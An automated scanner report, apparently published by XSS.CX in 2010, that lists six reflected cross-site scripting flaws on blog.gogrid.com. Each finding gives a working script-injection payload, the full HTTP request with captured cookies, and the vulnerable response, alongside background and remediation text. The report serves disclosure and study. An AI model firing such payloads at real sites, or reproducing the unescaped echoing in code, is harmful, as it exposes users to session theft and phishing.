blog.gogrid.com, XSS, Cross Site SCripting, CWE-79, CAPEC-86

Cross Site Scripting in gogrid.com | REST and Arbitrarily Supplied Request Parameters

Report generated by XSS.CX at Tue Dec 28 11:19:16 CST 2010.


Contents


Loading


1. Cross-site scripting (reflected)

1.1. http://blog.gogrid.com/ [name of an arbitrarily supplied request parameter]

1.2. http://blog.gogrid.com/ [name of an arbitrarily supplied request parameter]

1.3. http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico [REST URL parameter 1]

1.4. http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico [REST URL parameter 2]

1.5. http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico [REST URL parameter 3]

1.6. http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico [REST URL parameter 4]



1. Cross-site scripting (reflected)
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://blog.gogrid.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://blog.gogrid.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b21bc"><script>alert(1)</script>d8edba57e33 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b21bc\"><script>alert(1)</script>d8edba57e33 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?b21bc"><script>alert(1)</script>d8edba57e33=1 HTTP/1.1
Host: blog.gogrid.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 28 Dec 2010 16:45:16 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: bb2_screener_=1293554716+174.121.222.18; path=/
X-Pingback: http://blog.gogrid.com/xmlrpc.php
Set-Cookie: PHPSESSID=3lbkv1bkirbap0ljoe2kgaauu3; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 83929


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org
...[SNIP]...
<a href="http://blog.gogrid.com/page/2/?b21bc\"><script>alert(1)</script>d8edba57e33=1">
...[SNIP]...

1.2. http://blog.gogrid.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://blog.gogrid.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e205</script><script>alert(1)</script>b324f2809d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?8e205</script><script>alert(1)</script>b324f2809d2=1 HTTP/1.1
Host: blog.gogrid.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 28 Dec 2010 16:45:28 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: bb2_screener_=1293554728+174.121.222.18; path=/
X-Pingback: http://blog.gogrid.com/xmlrpc.php
Set-Cookie: PHPSESSID=auj8hhamnji8pfo0u0038lm954; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 84015


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org
...[SNIP]...
<input onclick="this.select();" id="permalink" name="permalink" type="text" value="http://blog.gogrid.com/?8e205</script><script>alert(1)</script>b324f2809d2=1" />
...[SNIP]...

1.3. http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://blog.gogrid.com
Path:   /wp-content/themes/gogrid_3.0/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cf8ec</script><script>alert(1)</script>cf3aaf04f3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /wp-contentcf8ec</script><script>alert(1)</script>cf3aaf04f3/themes/gogrid_3.0/favicon.ico HTTP/1.1
Host: blog.gogrid.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=97232576.1293553055.1.1.utmcsr=app.insightgrit.com|utmccn=(referral)|utmcmd=referral|utmcct=/Visit.php; _jsuid=4201964392586127348; __utma=97232576.2005235559.1293553055.1293553055.1293553055.1; __utmc=97232576; __utmb=97232576.2.10.1293553055; bb2_screener_=1293554903+174.121.222.18; PHPSESSID=g450kgqmeu31i1jpikcub3q0t2; __unam=2f6666e-12d2de111e3-7d31da8b-1; __utmz=81463108.1293554882.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=81463108.1294699711.1293554882.1293554882.1293554882.1; __utmc=81463108; __utmb=81463108.1.10.1293554882; __qca=P0-346590484-1293554882870; WibiyaNoughty=1; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%7D

Response

HTTP/1.1 404 Not Found
Date: Tue, 28 Dec 2010 17:17:12 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: bb2_screener_=1293556632+174.121.222.18; path=/
X-Pingback: http://blog.gogrid.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 28 Dec 2010 17:17:12 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 50626


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org
...[SNIP]...
<input onclick="this.select();" id="permalink" name="permalink" type="text" value="http://blog.gogrid.com/wp-contentcf8ec</script><script>alert(1)</script>cf3aaf04f3/themes/gogrid_3.0/favicon.ico" />
...[SNIP]...

1.4. http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://blog.gogrid.com
Path:   /wp-content/themes/gogrid_3.0/favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73930</script><script>alert(1)</script>5d71a5391f6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /wp-content/themes73930</script><script>alert(1)</script>5d71a5391f6/gogrid_3.0/favicon.ico HTTP/1.1
Host: blog.gogrid.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=97232576.1293553055.1.1.utmcsr=app.insightgrit.com|utmccn=(referral)|utmcmd=referral|utmcct=/Visit.php; _jsuid=4201964392586127348; __utma=97232576.2005235559.1293553055.1293553055.1293553055.1; __utmc=97232576; __utmb=97232576.2.10.1293553055; bb2_screener_=1293554903+174.121.222.18; PHPSESSID=g450kgqmeu31i1jpikcub3q0t2; __unam=2f6666e-12d2de111e3-7d31da8b-1; __utmz=81463108.1293554882.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=81463108.1294699711.1293554882.1293554882.1293554882.1; __utmc=81463108; __utmb=81463108.1.10.1293554882; __qca=P0-346590484-1293554882870; WibiyaNoughty=1; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%7D

Response

HTTP/1.1 404 Not Found
Date: Tue, 28 Dec 2010 17:17:26 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: bb2_screener_=1293556646+174.121.222.18; path=/
X-Pingback: http://blog.gogrid.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 28 Dec 2010 17:17:26 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 50627


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org
...[SNIP]...
<input onclick="this.select();" id="permalink" name="permalink" type="text" value="http://blog.gogrid.com/wp-content/themes73930</script><script>alert(1)</script>5d71a5391f6/gogrid_3.0/favicon.ico" />
...[SNIP]...

1.5. http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://blog.gogrid.com
Path:   /wp-content/themes/gogrid_3.0/favicon.ico

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bfe4e</script><script>alert(1)</script>7e99849cd90 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /wp-content/themes/gogrid_3.0bfe4e</script><script>alert(1)</script>7e99849cd90/favicon.ico HTTP/1.1
Host: blog.gogrid.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=97232576.1293553055.1.1.utmcsr=app.insightgrit.com|utmccn=(referral)|utmcmd=referral|utmcct=/Visit.php; _jsuid=4201964392586127348; __utma=97232576.2005235559.1293553055.1293553055.1293553055.1; __utmc=97232576; __utmb=97232576.2.10.1293553055; bb2_screener_=1293554903+174.121.222.18; PHPSESSID=g450kgqmeu31i1jpikcub3q0t2; __unam=2f6666e-12d2de111e3-7d31da8b-1; __utmz=81463108.1293554882.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=81463108.1294699711.1293554882.1293554882.1293554882.1; __utmc=81463108; __utmb=81463108.1.10.1293554882; __qca=P0-346590484-1293554882870; WibiyaNoughty=1; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%7D

Response

HTTP/1.1 404 Not Found
Date: Tue, 28 Dec 2010 17:17:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: bb2_screener_=1293556663+174.121.222.18; path=/
X-Pingback: http://blog.gogrid.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 28 Dec 2010 17:17:44 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 50628


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org
...[SNIP]...
<input onclick="this.select();" id="permalink" name="permalink" type="text" value="http://blog.gogrid.com/wp-content/themes/gogrid_3.0bfe4e</script><script>alert(1)</script>7e99849cd90/favicon.ico" />
...[SNIP]...

1.6. http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico [REST URL parameter 4]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://blog.gogrid.com
Path:   /wp-content/themes/gogrid_3.0/favicon.ico

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 63e45</script><script>alert(1)</script>e77553009d3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /wp-content/themes/gogrid_3.0/favicon.ico63e45</script><script>alert(1)</script>e77553009d3 HTTP/1.1
Host: blog.gogrid.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=97232576.1293553055.1.1.utmcsr=app.insightgrit.com|utmccn=(referral)|utmcmd=referral|utmcct=/Visit.php; _jsuid=4201964392586127348; __utma=97232576.2005235559.1293553055.1293553055.1293553055.1; __utmc=97232576; __utmb=97232576.2.10.1293553055; bb2_screener_=1293554903+174.121.222.18; PHPSESSID=g450kgqmeu31i1jpikcub3q0t2; __unam=2f6666e-12d2de111e3-7d31da8b-1; __utmz=81463108.1293554882.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=81463108.1294699711.1293554882.1293554882.1293554882.1; __utmc=81463108; __utmb=81463108.1.10.1293554882; __qca=P0-346590484-1293554882870; WibiyaNoughty=1; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%7D

Response

HTTP/1.1 404 Not Found
Date: Tue, 28 Dec 2010 17:18:02 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: bb2_screener_=1293556683+174.121.222.18; path=/
X-Pingback: http://blog.gogrid.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 28 Dec 2010 17:18:03 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 50627


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org
...[SNIP]...
<input onclick="this.select();" id="permalink" name="permalink" type="text" value="http://blog.gogrid.com/wp-content/themes/gogrid_3.0/favicon.ico63e45</script><script>alert(1)</script>e77553009d3" />
...[SNIP]...

Report generated by XSS.CX at Tue Dec 28 11:19:16 CST 2010.